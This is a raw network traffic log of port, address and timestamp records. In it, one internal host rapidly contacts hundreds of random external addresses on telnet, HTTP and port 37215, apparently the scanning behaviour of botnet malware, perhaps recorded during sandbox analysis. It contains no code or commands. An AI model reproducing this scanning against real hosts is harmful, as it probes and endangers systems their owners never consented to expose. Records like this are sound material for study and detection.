Jan 30, 2025 10:43:02.189563036 CET	50028	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:02.189652920 CET	54910	80	192.168.2.13	77.111.99.111
Jan 30, 2025 10:43:02.190819979 CET	36872	80	192.168.2.13	17.41.47.140
Jan 30, 2025 10:43:02.191602945 CET	44016	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.192409992 CET	53652	80	192.168.2.13	31.100.227.119
Jan 30, 2025 10:43:02.193152905 CET	51918	80	192.168.2.13	64.110.107.109
Jan 30, 2025 10:43:02.193679094 CET	37215	49264	197.15.93.92	192.168.2.13
Jan 30, 2025 10:43:02.193967104 CET	59506	80	192.168.2.13	64.255.239.118
Jan 30, 2025 10:43:02.194654942 CET	53440	80	192.168.2.13	200.53.66.25
Jan 30, 2025 10:43:02.195539951 CET	41540	80	192.168.2.13	85.176.89.48
Jan 30, 2025 10:43:02.196171999 CET	60282	80	192.168.2.13	94.107.173.125
Jan 30, 2025 10:43:02.196423054 CET	80	44016	210.40.67.31	192.168.2.13
Jan 30, 2025 10:43:02.196470022 CET	44016	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.196913004 CET	52000	80	192.168.2.13	180.147.135.125
Jan 30, 2025 10:43:02.197467089 CET	48158	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:02.197467089 CET	48158	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:02.197796106 CET	48942	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:02.198227882 CET	34142	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:02.198240995 CET	34142	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:02.198564053 CET	34906	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:02.199028969 CET	44016	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.199028969 CET	44016	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.199387074 CET	44036	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.204255104 CET	80	60200	191.252.94.92	192.168.2.13
Jan 30, 2025 10:43:02.204268932 CET	80	51816	117.176.214.115	192.168.2.13
Jan 30, 2025 10:43:02.204279900 CET	80	45484	209.77.2.157	192.168.2.13
Jan 30, 2025 10:43:02.204289913 CET	80	57794	116.34.227.92	192.168.2.13
Jan 30, 2025 10:43:02.204600096 CET	80	48158	74.228.168.93	192.168.2.13
Jan 30, 2025 10:43:02.204636097 CET	80	34142	24.92.71.116	192.168.2.13
Jan 30, 2025 10:43:02.204648018 CET	80	44016	210.40.67.31	192.168.2.13
Jan 30, 2025 10:43:02.204794884 CET	80	44036	210.40.67.31	192.168.2.13
Jan 30, 2025 10:43:02.204844952 CET	44036	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.204879999 CET	44036	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.209795952 CET	80	44036	210.40.67.31	192.168.2.13
Jan 30, 2025 10:43:02.209851027 CET	44036	80	192.168.2.13	210.40.67.31
Jan 30, 2025 10:43:02.211210966 CET	48600	37215	192.168.2.13	156.251.188.68
Jan 30, 2025 10:43:02.211216927 CET	60346	80	192.168.2.13	47.210.173.27
Jan 30, 2025 10:43:02.211216927 CET	36512	37215	192.168.2.13	156.222.154.27
Jan 30, 2025 10:43:02.211216927 CET	53056	80	192.168.2.13	91.139.116.6
Jan 30, 2025 10:43:02.211220980 CET	59250	80	192.168.2.13	87.193.63.174
Jan 30, 2025 10:43:02.211220980 CET	53082	80	192.168.2.13	111.239.161.67
Jan 30, 2025 10:43:02.211221933 CET	41702	80	192.168.2.13	158.127.154.218
Jan 30, 2025 10:43:02.211224079 CET	45886	80	192.168.2.13	69.237.129.50
Jan 30, 2025 10:43:02.211240053 CET	51010	80	192.168.2.13	133.189.70.235
Jan 30, 2025 10:43:02.211241007 CET	33448	80	192.168.2.13	179.164.175.64
Jan 30, 2025 10:43:02.211241961 CET	46100	37215	192.168.2.13	197.229.174.221
Jan 30, 2025 10:43:02.211242914 CET	50344	37215	192.168.2.13	197.28.132.23
Jan 30, 2025 10:43:02.211242914 CET	55008	80	192.168.2.13	189.109.99.160
Jan 30, 2025 10:43:02.211242914 CET	47690	37215	192.168.2.13	197.250.208.96
Jan 30, 2025 10:43:02.215147972 CET	59726	23	192.168.2.13	159.60.134.244
Jan 30, 2025 10:43:02.215153933 CET	58038	23	192.168.2.13	191.171.171.145
Jan 30, 2025 10:43:02.215159893 CET	53430	23	192.168.2.13	105.10.200.237
Jan 30, 2025 10:43:02.215158939 CET	60142	23	192.168.2.13	17.161.84.176
Jan 30, 2025 10:43:02.215174913 CET	49794	23	192.168.2.13	106.214.158.142
Jan 30, 2025 10:43:02.215193987 CET	38092	23	192.168.2.13	64.113.69.209
Jan 30, 2025 10:43:02.219985008 CET	23	59726	159.60.134.244	192.168.2.13
Jan 30, 2025 10:43:02.220037937 CET	59726	23	192.168.2.13	159.60.134.244
Jan 30, 2025 10:43:02.239734888 CET	37215	49264	197.15.93.92	192.168.2.13
Jan 30, 2025 10:43:02.243143082 CET	52268	23	192.168.2.13	205.161.9.227
Jan 30, 2025 10:43:02.243143082 CET	55622	23	192.168.2.13	134.53.129.122
Jan 30, 2025 10:43:02.243148088 CET	38452	23	192.168.2.13	34.255.22.4
Jan 30, 2025 10:43:02.243148088 CET	56342	23	192.168.2.13	96.199.71.245
Jan 30, 2025 10:43:02.243151903 CET	53208	23	192.168.2.13	196.160.135.6
Jan 30, 2025 10:43:02.243156910 CET	33226	23	192.168.2.13	50.251.82.83
Jan 30, 2025 10:43:02.243160963 CET	40920	23	192.168.2.13	175.11.200.179
Jan 30, 2025 10:43:02.243170977 CET	44254	80	192.168.2.13	114.96.96.32
Jan 30, 2025 10:43:02.243185043 CET	41330	23	192.168.2.13	138.109.236.201
Jan 30, 2025 10:43:02.243185997 CET	47688	80	192.168.2.13	135.42.237.95
Jan 30, 2025 10:43:02.243194103 CET	49030	80	192.168.2.13	2.63.153.240
Jan 30, 2025 10:43:02.243221998 CET	49490	80	192.168.2.13	45.97.204.112
Jan 30, 2025 10:43:02.243233919 CET	42170	37215	192.168.2.13	41.25.80.226
Jan 30, 2025 10:43:02.243246078 CET	53924	80	192.168.2.13	72.85.35.83
Jan 30, 2025 10:43:02.243252993 CET	43940	80	192.168.2.13	210.44.231.105
Jan 30, 2025 10:43:02.243254900 CET	55786	37215	192.168.2.13	41.190.43.165
Jan 30, 2025 10:43:02.243259907 CET	47122	80	192.168.2.13	140.60.134.231
Jan 30, 2025 10:43:02.247731924 CET	80	44016	210.40.67.31	192.168.2.13
Jan 30, 2025 10:43:02.247742891 CET	80	34142	24.92.71.116	192.168.2.13
Jan 30, 2025 10:43:02.247751951 CET	80	48158	74.228.168.93	192.168.2.13
Jan 30, 2025 10:43:02.247992992 CET	23	52268	205.161.9.227	192.168.2.13
Jan 30, 2025 10:43:02.248003960 CET	23	38452	34.255.22.4	192.168.2.13
Jan 30, 2025 10:43:02.248013020 CET	23	55622	134.53.129.122	192.168.2.13
Jan 30, 2025 10:43:02.248051882 CET	38452	23	192.168.2.13	34.255.22.4
Jan 30, 2025 10:43:02.248054981 CET	52268	23	192.168.2.13	205.161.9.227
Jan 30, 2025 10:43:02.248054981 CET	55622	23	192.168.2.13	134.53.129.122
Jan 30, 2025 10:43:02.275151014 CET	41002	23	192.168.2.13	84.134.212.135
Jan 30, 2025 10:43:02.275156975 CET	57806	23	192.168.2.13	218.218.61.235
Jan 30, 2025 10:43:02.275156021 CET	57182	23	192.168.2.13	76.158.142.31
Jan 30, 2025 10:43:02.275177002 CET	54394	23	192.168.2.13	201.19.100.163
Jan 30, 2025 10:43:02.275187016 CET	48810	23	192.168.2.13	38.57.165.195
Jan 30, 2025 10:43:02.275191069 CET	57554	80	192.168.2.13	191.1.254.165
Jan 30, 2025 10:43:02.275196075 CET	45504	80	192.168.2.13	157.1.183.21
Jan 30, 2025 10:43:02.275211096 CET	57050	80	192.168.2.13	148.108.129.74
Jan 30, 2025 10:43:02.275213003 CET	47822	80	192.168.2.13	168.180.101.197
Jan 30, 2025 10:43:02.275238037 CET	48238	80	192.168.2.13	161.250.104.185
Jan 30, 2025 10:43:02.275242090 CET	55484	80	192.168.2.13	154.68.83.93
Jan 30, 2025 10:43:02.275264978 CET	44868	80	192.168.2.13	68.131.164.7
Jan 30, 2025 10:43:02.275268078 CET	53098	37215	192.168.2.13	197.143.240.49
Jan 30, 2025 10:43:02.275274992 CET	56844	80	192.168.2.13	205.159.25.41
Jan 30, 2025 10:43:02.275293112 CET	59770	37215	192.168.2.13	197.232.141.234
Jan 30, 2025 10:43:02.275304079 CET	45372	80	192.168.2.13	184.78.136.240
Jan 30, 2025 10:43:02.275331020 CET	33492	80	192.168.2.13	53.135.77.209
Jan 30, 2025 10:43:02.275333881 CET	51654	37215	192.168.2.13	41.93.105.172
Jan 30, 2025 10:43:02.275333881 CET	57604	80	192.168.2.13	27.125.73.226
Jan 30, 2025 10:43:02.275470972 CET	49940	37215	192.168.2.13	41.206.127.39
Jan 30, 2025 10:43:02.280042887 CET	23	41002	84.134.212.135	192.168.2.13
Jan 30, 2025 10:43:02.280057907 CET	23	57806	218.218.61.235	192.168.2.13
Jan 30, 2025 10:43:02.280066967 CET	23	57182	76.158.142.31	192.168.2.13
Jan 30, 2025 10:43:02.280133963 CET	41002	23	192.168.2.13	84.134.212.135
Jan 30, 2025 10:43:02.280191898 CET	57806	23	192.168.2.13	218.218.61.235
Jan 30, 2025 10:43:02.280214071 CET	57182	23	192.168.2.13	76.158.142.31
Jan 30, 2025 10:43:02.307149887 CET	56412	23	192.168.2.13	76.22.175.208
Jan 30, 2025 10:43:02.307154894 CET	56932	23	192.168.2.13	68.42.210.225
Jan 30, 2025 10:43:02.307161093 CET	42014	23	192.168.2.13	202.199.177.209
Jan 30, 2025 10:43:02.307161093 CET	35894	23	192.168.2.13	82.206.253.218
Jan 30, 2025 10:43:02.307161093 CET	44640	23	192.168.2.13	79.168.215.107
Jan 30, 2025 10:43:02.307167053 CET	35742	23	192.168.2.13	44.158.103.37
Jan 30, 2025 10:43:02.307185888 CET	46110	23	192.168.2.13	168.13.123.168
Jan 30, 2025 10:43:02.307185888 CET	49976	37215	192.168.2.13	156.38.234.24
Jan 30, 2025 10:43:02.307199001 CET	48344	80	192.168.2.13	20.76.200.177
Jan 30, 2025 10:43:02.307224989 CET	35038	80	192.168.2.13	119.44.88.156
Jan 30, 2025 10:43:02.307230949 CET	40842	37215	192.168.2.13	156.210.246.123
Jan 30, 2025 10:43:02.307244062 CET	60600	80	192.168.2.13	52.100.104.91
Jan 30, 2025 10:43:02.307260990 CET	55756	37215	192.168.2.13	41.134.202.79
Jan 30, 2025 10:43:02.307277918 CET	49082	80	192.168.2.13	13.158.192.185
Jan 30, 2025 10:43:02.307293892 CET	35366	80	192.168.2.13	204.114.45.203
Jan 30, 2025 10:43:02.307293892 CET	44616	80	192.168.2.13	67.14.228.78
Jan 30, 2025 10:43:02.307327986 CET	45278	80	192.168.2.13	116.250.119.199
Jan 30, 2025 10:43:02.307333946 CET	40202	37215	192.168.2.13	41.165.32.193
Jan 30, 2025 10:43:02.312395096 CET	23	56932	68.42.210.225	192.168.2.13
Jan 30, 2025 10:43:02.312407017 CET	23	56412	76.22.175.208	192.168.2.13
Jan 30, 2025 10:43:02.312417030 CET	23	35894	82.206.253.218	192.168.2.13
Jan 30, 2025 10:43:02.312454939 CET	56932	23	192.168.2.13	68.42.210.225
Jan 30, 2025 10:43:02.312488079 CET	56412	23	192.168.2.13	76.22.175.208
Jan 30, 2025 10:43:02.312541962 CET	35894	23	192.168.2.13	82.206.253.218
Jan 30, 2025 10:43:02.339144945 CET	47224	23	192.168.2.13	178.204.191.229
Jan 30, 2025 10:43:02.339144945 CET	45262	23	192.168.2.13	130.96.21.12
Jan 30, 2025 10:43:02.339164019 CET	52468	23	192.168.2.13	91.240.205.120
Jan 30, 2025 10:43:02.339169979 CET	46516	23	192.168.2.13	42.126.42.151
Jan 30, 2025 10:43:02.339169979 CET	35584	23	192.168.2.13	100.190.9.1
Jan 30, 2025 10:43:02.339179039 CET	36952	37215	192.168.2.13	197.20.56.225
Jan 30, 2025 10:43:02.339184046 CET	52166	23	192.168.2.13	68.117.250.229
Jan 30, 2025 10:43:02.339184046 CET	54250	23	192.168.2.13	175.120.183.15
Jan 30, 2025 10:43:02.339186907 CET	57956	23	192.168.2.13	44.66.221.150
Jan 30, 2025 10:43:02.339188099 CET	36998	80	192.168.2.13	198.161.133.137
Jan 30, 2025 10:43:02.339205027 CET	45524	80	192.168.2.13	82.141.104.81
Jan 30, 2025 10:43:02.339210987 CET	48320	80	192.168.2.13	62.230.26.70
Jan 30, 2025 10:43:02.339221954 CET	48098	80	192.168.2.13	64.107.128.250
Jan 30, 2025 10:43:02.339246988 CET	39276	80	192.168.2.13	205.155.28.147
Jan 30, 2025 10:43:02.339262962 CET	52294	80	192.168.2.13	63.89.66.236
Jan 30, 2025 10:43:02.339262962 CET	44426	80	192.168.2.13	76.82.182.70
Jan 30, 2025 10:43:02.339262962 CET	37342	37215	192.168.2.13	156.85.4.6
Jan 30, 2025 10:43:02.344037056 CET	23	47224	178.204.191.229	192.168.2.13
Jan 30, 2025 10:43:02.344048977 CET	23	52468	91.240.205.120	192.168.2.13
Jan 30, 2025 10:43:02.344058037 CET	23	45262	130.96.21.12	192.168.2.13
Jan 30, 2025 10:43:02.344120979 CET	45262	23	192.168.2.13	130.96.21.12
Jan 30, 2025 10:43:02.344120979 CET	47224	23	192.168.2.13	178.204.191.229
Jan 30, 2025 10:43:02.344172001 CET	52468	23	192.168.2.13	91.240.205.120
Jan 30, 2025 10:43:02.371175051 CET	37672	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.371186972 CET	53642	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:02.371205091 CET	57670	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:02.371225119 CET	43174	23	192.168.2.13	65.176.116.132
Jan 30, 2025 10:43:02.371227026 CET	55952	37215	192.168.2.13	197.141.222.57
Jan 30, 2025 10:43:02.371227026 CET	45018	80	192.168.2.13	202.64.68.246
Jan 30, 2025 10:43:02.371229887 CET	41636	37215	192.168.2.13	197.150.194.163
Jan 30, 2025 10:43:02.371232986 CET	42472	80	192.168.2.13	63.84.132.69
Jan 30, 2025 10:43:02.371238947 CET	49832	23	192.168.2.13	46.26.121.103
Jan 30, 2025 10:43:02.371238947 CET	55902	23	192.168.2.13	187.39.5.245
Jan 30, 2025 10:43:02.371238947 CET	54812	23	192.168.2.13	180.58.35.230
Jan 30, 2025 10:43:02.371242046 CET	38346	80	192.168.2.13	152.165.43.153
Jan 30, 2025 10:43:02.371242046 CET	41470	80	192.168.2.13	4.184.27.87
Jan 30, 2025 10:43:02.371242046 CET	47088	23	192.168.2.13	164.187.218.16
Jan 30, 2025 10:43:02.371242046 CET	45286	23	192.168.2.13	137.58.36.113
Jan 30, 2025 10:43:02.371242046 CET	48548	23	192.168.2.13	180.80.197.159
Jan 30, 2025 10:43:02.371248007 CET	60642	37215	192.168.2.13	197.195.101.247
Jan 30, 2025 10:43:02.376108885 CET	37215	53642	156.87.179.217	192.168.2.13
Jan 30, 2025 10:43:02.376121044 CET	37215	37672	41.101.2.166	192.168.2.13
Jan 30, 2025 10:43:02.376130104 CET	37215	57670	156.30.122.213	192.168.2.13
Jan 30, 2025 10:43:02.376182079 CET	53642	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:02.376202106 CET	37672	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.376220942 CET	57670	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:02.376513958 CET	37672	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.376528025 CET	37672	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.377095938 CET	38178	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.377516031 CET	53642	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:02.377516031 CET	53642	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:02.377832890 CET	54146	37215	192.168.2.13	156.87.179.217
Jan 30, 2025 10:43:02.378256083 CET	57670	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:02.378256083 CET	57670	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:02.378607035 CET	58172	37215	192.168.2.13	156.30.122.213
Jan 30, 2025 10:43:02.381287098 CET	37215	37672	41.101.2.166	192.168.2.13
Jan 30, 2025 10:43:02.381874084 CET	37215	38178	41.101.2.166	192.168.2.13
Jan 30, 2025 10:43:02.381937981 CET	38178	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.381954908 CET	38178	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.382270098 CET	37215	53642	156.87.179.217	192.168.2.13
Jan 30, 2025 10:43:02.383023977 CET	37215	57670	156.30.122.213	192.168.2.13
Jan 30, 2025 10:43:02.386801004 CET	37215	38178	41.101.2.166	192.168.2.13
Jan 30, 2025 10:43:02.386847019 CET	38178	37215	192.168.2.13	41.101.2.166
Jan 30, 2025 10:43:02.403160095 CET	39826	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:02.403162956 CET	60402	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:02.403170109 CET	42750	80	192.168.2.13	166.166.79.44
Jan 30, 2025 10:43:02.403177977 CET	40558	23	192.168.2.13	220.124.30.85
Jan 30, 2025 10:43:02.403192043 CET	48918	23	192.168.2.13	84.41.2.189
Jan 30, 2025 10:43:02.403192043 CET	56062	23	192.168.2.13	130.201.191.218
Jan 30, 2025 10:43:02.403192043 CET	47828	37215	192.168.2.13	156.135.156.190
Jan 30, 2025 10:43:02.403202057 CET	54156	80	192.168.2.13	175.70.250.182
Jan 30, 2025 10:43:02.403202057 CET	50634	37215	192.168.2.13	156.1.18.145
Jan 30, 2025 10:43:02.403213024 CET	59226	80	192.168.2.13	175.237.212.104
Jan 30, 2025 10:43:02.403213024 CET	44756	80	192.168.2.13	143.252.240.114
Jan 30, 2025 10:43:02.403220892 CET	53138	80	192.168.2.13	46.42.247.212
Jan 30, 2025 10:43:02.403227091 CET	60342	37215	192.168.2.13	41.253.77.123
Jan 30, 2025 10:43:02.403227091 CET	42624	80	192.168.2.13	183.226.65.64
Jan 30, 2025 10:43:02.403227091 CET	35322	37215	192.168.2.13	41.114.70.140
Jan 30, 2025 10:43:02.403234959 CET	47784	23	192.168.2.13	43.157.235.252
Jan 30, 2025 10:43:02.403239965 CET	43822	23	192.168.2.13	38.240.226.29
Jan 30, 2025 10:43:02.408312082 CET	80	39826	58.15.98.44	192.168.2.13
Jan 30, 2025 10:43:02.408323050 CET	37215	60402	156.177.189.159	192.168.2.13
Jan 30, 2025 10:43:02.408333063 CET	23	40558	220.124.30.85	192.168.2.13
Jan 30, 2025 10:43:02.408394098 CET	39826	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:02.408421040 CET	40558	23	192.168.2.13	220.124.30.85
Jan 30, 2025 10:43:02.408430099 CET	60402	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:02.408797026 CET	39826	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:02.408835888 CET	39826	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:02.408912897 CET	60402	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:02.408947945 CET	60402	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:02.409655094 CET	40290	80	192.168.2.13	58.15.98.44
Jan 30, 2025 10:43:02.409775019 CET	60866	37215	192.168.2.13	156.177.189.159
Jan 30, 2025 10:43:02.413580894 CET	80	39826	58.15.98.44	192.168.2.13
Jan 30, 2025 10:43:02.413664103 CET	37215	60402	156.177.189.159	192.168.2.13
Jan 30, 2025 10:43:02.427735090 CET	37215	57670	156.30.122.213	192.168.2.13
Jan 30, 2025 10:43:02.427745104 CET	37215	53642	156.87.179.217	192.168.2.13
Jan 30, 2025 10:43:02.427753925 CET	37215	37672	41.101.2.166	192.168.2.13
Jan 30, 2025 10:43:02.435175896 CET	49110	23	192.168.2.13	41.41.134.200
Jan 30, 2025 10:43:02.435187101 CET	49586	23	192.168.2.13	87.115.220.141
Jan 30, 2025 10:43:02.435188055 CET	34452	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.435190916 CET	53288	37215	192.168.2.13	197.121.223.32
Jan 30, 2025 10:43:02.435203075 CET	40292	23	192.168.2.13	193.160.83.197
Jan 30, 2025 10:43:02.435213089 CET	46648	23	192.168.2.13	87.89.23.214
Jan 30, 2025 10:43:02.435215950 CET	48924	80	192.168.2.13	161.193.3.71
Jan 30, 2025 10:43:02.435213089 CET	33192	37215	192.168.2.13	41.124.85.254
Jan 30, 2025 10:43:02.435215950 CET	51448	80	192.168.2.13	116.20.216.85
Jan 30, 2025 10:43:02.435215950 CET	55066	23	192.168.2.13	128.226.27.202
Jan 30, 2025 10:43:02.435215950 CET	40052	80	192.168.2.13	202.61.99.119
Jan 30, 2025 10:43:02.435220003 CET	49824	37215	192.168.2.13	41.204.88.187
Jan 30, 2025 10:43:02.435224056 CET	49284	23	192.168.2.13	141.250.116.87
Jan 30, 2025 10:43:02.435231924 CET	48614	80	192.168.2.13	175.231.195.201
Jan 30, 2025 10:43:02.435239077 CET	43138	80	192.168.2.13	91.58.94.100
Jan 30, 2025 10:43:02.435239077 CET	57984	80	192.168.2.13	145.90.15.173
Jan 30, 2025 10:43:02.435240984 CET	46416	37215	192.168.2.13	156.131.190.110
Jan 30, 2025 10:43:02.435245037 CET	45908	23	192.168.2.13	73.194.195.182
Jan 30, 2025 10:43:02.440010071 CET	23	49110	41.41.134.200	192.168.2.13
Jan 30, 2025 10:43:02.440032959 CET	80	34452	134.215.19.57	192.168.2.13
Jan 30, 2025 10:43:02.440042973 CET	23	49586	87.115.220.141	192.168.2.13
Jan 30, 2025 10:43:02.440098047 CET	49110	23	192.168.2.13	41.41.134.200
Jan 30, 2025 10:43:02.440114975 CET	34452	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.440136909 CET	49586	23	192.168.2.13	87.115.220.141
Jan 30, 2025 10:43:02.440294981 CET	34452	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.440319061 CET	34452	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.440725088 CET	34876	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.445003986 CET	80	34452	134.215.19.57	192.168.2.13
Jan 30, 2025 10:43:02.445487022 CET	80	34876	134.215.19.57	192.168.2.13
Jan 30, 2025 10:43:02.445566893 CET	34876	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.445636988 CET	34876	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.450491905 CET	80	34876	134.215.19.57	192.168.2.13
Jan 30, 2025 10:43:02.450551987 CET	34876	80	192.168.2.13	134.215.19.57
Jan 30, 2025 10:43:02.459707022 CET	37215	60402	156.177.189.159	192.168.2.13
Jan 30, 2025 10:43:02.459717035 CET	80	39826	58.15.98.44	192.168.2.13
Jan 30, 2025 10:43:02.467210054 CET	52958	23	192.168.2.13	74.223.19.152
Jan 30, 2025 10:43:02.467211962 CET	34546	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.467226982 CET	47600	23	192.168.2.13	77.6.38.222
Jan 30, 2025 10:43:02.467230082 CET	47772	37215	192.168.2.13	41.149.64.92
Jan 30, 2025 10:43:02.467246056 CET	48132	80	192.168.2.13	165.157.242.131
Jan 30, 2025 10:43:02.467250109 CET	53706	23	192.168.2.13	132.23.182.226
Jan 30, 2025 10:43:02.467250109 CET	35700	37215	192.168.2.13	197.119.67.191
Jan 30, 2025 10:43:02.467256069 CET	53090	23	192.168.2.13	167.253.216.16
Jan 30, 2025 10:43:02.467257977 CET	44610	23	192.168.2.13	159.203.230.2
Jan 30, 2025 10:43:02.467258930 CET	47826	23	192.168.2.13	131.186.92.5
Jan 30, 2025 10:43:02.467264891 CET	58662	80	192.168.2.13	103.72.190.172
Jan 30, 2025 10:43:02.467267036 CET	50350	80	192.168.2.13	65.71.195.152
Jan 30, 2025 10:43:02.467267036 CET	48096	80	192.168.2.13	73.160.135.116
Jan 30, 2025 10:43:02.467302084 CET	60706	80	192.168.2.13	66.208.141.198
Jan 30, 2025 10:43:02.467303991 CET	46968	23	192.168.2.13	75.38.35.84
Jan 30, 2025 10:43:02.467303991 CET	36346	80	192.168.2.13	88.116.148.47
Jan 30, 2025 10:43:02.467303991 CET	59260	80	192.168.2.13	47.58.239.244
Jan 30, 2025 10:43:02.467303991 CET	56398	37215	192.168.2.13	41.240.101.105
Jan 30, 2025 10:43:02.467307091 CET	37970	37215	192.168.2.13	41.250.127.201
Jan 30, 2025 10:43:02.467319012 CET	57672	80	192.168.2.13	133.119.239.213
Jan 30, 2025 10:43:02.472024918 CET	37215	34546	41.98.100.241	192.168.2.13
Jan 30, 2025 10:43:02.472037077 CET	23	52958	74.223.19.152	192.168.2.13
Jan 30, 2025 10:43:02.472107887 CET	34546	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.472134113 CET	52958	23	192.168.2.13	74.223.19.152
Jan 30, 2025 10:43:02.472433090 CET	34546	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.472433090 CET	34546	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.472908020 CET	34914	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.477170944 CET	37215	34546	41.98.100.241	192.168.2.13
Jan 30, 2025 10:43:02.477818012 CET	37215	34914	41.98.100.241	192.168.2.13
Jan 30, 2025 10:43:02.477865934 CET	34914	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.477890015 CET	34914	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.482836008 CET	37215	34914	41.98.100.241	192.168.2.13
Jan 30, 2025 10:43:02.482907057 CET	34914	37215	192.168.2.13	41.98.100.241
Jan 30, 2025 10:43:02.487713099 CET	80	34452	134.215.19.57	192.168.2.13
Jan 30, 2025 10:43:02.499180079 CET	42212	23	192.168.2.13	54.157.172.86
Jan 30, 2025 10:43:02.499180079 CET	55136	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:43:02.499192953 CET	58638	23	192.168.2.13	73.42.252.0
Jan 30, 2025 10:43:02.499201059 CET	42986	23	192.168.2.13	19.182.13.235
Jan 30, 2025 10:43:02.499222994 CET	47122	80	192.168.2.13	164.37.38.233
Jan 30, 2025 10:43:02.499228954 CET	33674	37215	192.168.2.13	41.57.49.71
Jan 30, 2025 10:43:02.499228954 CET	34198	80	192.168.2.13	79.95.47.220
Jan 30, 2025 10:43:02.499249935 CET	50640	37215	192.168.2.13	156.219.15.95
Jan 30, 2025 10:43:02.499253035 CET	36884	80	192.168.2.13	71.98.117.6
Jan 30, 2025 10:43:02.499279976 CET	34020	37215	192.168.2.13	197.36.138.121
Jan 30, 2025 10:43:02.499300003 CET	40440	80	192.168.2.13	151.141.250.48
Jan 30, 2025 10:43:02.499305010 CET	47176	37215	192.168.2.13	156.95.129.39
Jan 30, 2025 10:43:02.499324083 CET	36888	80	192.168.2.13	132.139.158.115
Jan 30, 2025 10:43:02.499336958 CET	51558	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:43:02.499355078 CET	56672	80	192.168.2.13	92.113.30.64
Jan 30, 2025 10:43:02.499355078 CET	47104	80	192.168.2.13	79.15.202.40
Jan 30, 2025 10:43:02.499355078 CET	42516	80	192.168.2.13	151.186.81.38
Jan 30, 2025 10:43:02.499368906 CET	39206	80	192.168.2.13	151.177.64.144
Jan 30, 2025 10:43:02.499375105 CET	37552	80	192.168.2.13	204.108.248.185
Jan 30, 2025 10:43:02.499392986 CET	54218	80	192.168.2.13	109.119.116.146
Jan 30, 2025 10:43:02.499413967 CET	35718	80	192.168.2.13	193.92.48.233
Jan 30, 2025 10:43:02.504040956 CET	23	42212	54.157.172.86	192.168.2.13
Jan 30, 2025 10:43:02.504053116 CET	80	55136	69.229.23.24	192.168.2.13
Jan 30, 2025 10:43:02.504154921 CET	42212	23	192.168.2.13	54.157.172.86
Jan 30, 2025 10:43:02.504163980 CET	37215	51558	41.193.251.70	192.168.2.13
Jan 30, 2025 10:43:02.504198074 CET	55136	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:43:02.504278898 CET	51558	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:43:02.504278898 CET	51558	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:43:02.504278898 CET	51558	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:43:02.504601955 CET	55136	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:43:02.504615068 CET	55136	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:43:02.504703999 CET	51852	37215	192.168.2.13	41.193.251.70
Jan 30, 2025 10:43:02.505443096 CET	55468	80	192.168.2.13	69.229.23.24
Jan 30, 2025 10:43:02.509047985 CET	37215	51558	41.193.251.70	192.168.2.13
Jan 30, 2025 10:43:02.509399891 CET	80	55136	69.229.23.24	192.168.2.13
Jan 30, 2025 10:43:02.521193027 CET	37215	34546	41.98.100.241	192.168.2.13
Jan 30, 2025 10:43:02.531172991 CET	44310	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:43:02.531193018 CET	33010	80	192.168.2.13	223.173.141.112
